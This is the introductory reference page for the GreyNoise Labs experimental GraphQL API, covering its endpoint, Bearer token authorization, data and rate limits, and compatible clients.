GreyNoise Labs API Reference

Welcome to the the GreyNoise Labs API!

You will need to sign-up for a GreyNoise account to use the API.

Once you have an account, check out our GraphQL Playground.

No SLA exists for this API and it is subject to change without notice as it should be considered experimental only.

Check out our new REST API proxy documentation for a new REST variant of this API.

API Endpoints

# Experimental GraphQL Endpoint:
https://api.labs.greynoise.io/1/query

Headers

# Tokens may be copied from the playground headers.
Authorization: Bearer <YOUR_TOKEN_HERE>

Data Limits

All API queries have a data limit that defaults to 1% of available data, or 10 results, whichever is greater. This limit is calculated on the filtered data set, not the raw data set. In some cases like C2s, the team has elected to lift the limit to 10%. Every response will include a queryInfo field that will indicate the limit used for that query vs. the raw data available.

Rate Limits

All API queries have a rate limit.

API Clients

This is a GraphQL API, any GraphQL client that supports Bearer token Authorization should work. If you would like to use a similar environment to the Playground you can download the Altair desktop client.
